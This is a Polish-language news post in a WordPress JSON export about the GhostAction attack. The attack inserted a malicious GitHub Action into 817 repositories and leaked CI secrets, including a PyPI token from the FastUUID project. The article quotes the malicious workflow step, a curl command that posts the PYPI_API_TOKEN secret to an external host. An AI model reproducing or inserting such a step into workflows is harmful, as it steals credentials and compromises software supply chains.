{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Podczas ataku GhostAction skompromitowano 817 repozytori\u00f3w na GitHubie","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Badacze z firmy GitGuardian zidentyfikowali masowy atak na u\u017cytkownik\u00f3w GitHub, w wyniku kt\u00f3rego uzyskano kontrol\u0119 nad 327 kontami i wstrzykni\u0119to z\u0142o\u015bliwy handler Github Action do 817 repozytori\u00f3w. Atak doprowadzi\u0142 do wycieku 3325 sekret\u00f3w, u\u017cywanych w systemach ci\u0105g\u0142ej integracji i przesy\u0142anych za pomoc\u0105 zmiennych \u015brodowiskowych, w tym token\u00f3w dost\u0119pu do PyPI, GitHub, NPM, DockerHub i r\u00f3\u017cnych chmur obliczeniowych.
<\/center> <\/p>\n
GitHub Actions umo\u017cliwia programistom do\u0142\u0105czanie handler\u00f3w do automatyzacji r\u00f3\u017cnych operacji na GitHubie. Na przyk\u0142ad, korzystaj\u0105c z GitHub Actions, mo\u017cna przeprowadza\u0107 okre\u015blone kontrole i testy podczas dokonywania commit\u00f3w lub automatyzowa\u0107 przetwarzanie nowych problem\u00f3w. Z\u0142o\u015bliwy handler by\u0142 rozpowszechniany pod nazw\u0105 «Github Actions Security» i zawiera\u0142 w sekcji «run» polecenie «curl», kt\u00f3re przesy\u0142a\u0142o zawarto\u015b\u0107 zmiennych \u015brodowiskowych na zewn\u0119trzny host podczas uruchamiania zada\u0144 w \u015brodowisku ci\u0105g\u0142ej integracji. Z\u0142o\u015bliwy commit zosta\u0142 dodany z kont maintainer\u00f3w projekt\u00f3w, kt\u00f3re prawdopodobnie wcze\u015bniej zosta\u0142y zhakowane lub sta\u0142y si\u0119 ofiar\u0105 phishingu. <\/p>\n
Atak zosta\u0142 wykryty po analizy anormalnej aktywno\u015bci zwi\u0105zanej z pakietem FastUUID, kt\u00f3ry dostarcza powi\u0105zanie Pythona z bibliotek\u0105 Rust UUID. Pakiet FastUUID, dla kt\u00f3rego w ostatnim tygodniu odnotowano prawie 1,2 miliona pobra\u0144, jest u\u017cywany jako zale\u017cno\u015b\u0107 w popularnym projekcie LiteLLM, kt\u00f3ry ma w PyPI ponad 5 milion\u00f3w pobra\u0144 tygodniowo. Analiza zmian w repozytorium FastUUID pokaza\u0142a, \u017ce 2 wrze\u015bnia maintainer projektu doda\u0142 commit z nowym handlerem Github Action, kt\u00f3ry zawiera\u0142 kod do wysy\u0142ania tokena do repozytorium PyPI na zewn\u0119trzny host. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Problem uda\u0142o si\u0119 wykry\u0107 zanim przest\u0119pcy wykorzystali przechwycony token — publikacje z\u0142o\u015bliwych zmian lub zmodyfikowanych wersji pakietu w PyPI dla FastUUID nie zosta\u0142y zarejestrowane. Podobne podstawienia Github Action wykryto jeszcze w 816 repozytoriach, kt\u00f3rych w\u0142a\u015bciciele, a tak\u017ce administracja PyPI, GitHub, NPM i DockerHub, otrzymali powiadomienia. Na wczorajszy wiecz\u00f3r z\u0142o\u015bliwe commity zosta\u0142y cofni\u0119te w oko\u0142o 100 repozytoriach. Obecnie przy wyszukiwaniu w GitHub znajduje si\u0119 671 commit\u00f3w ze z\u0142o\u015bliwym Github Action. \n \u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Podczas](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n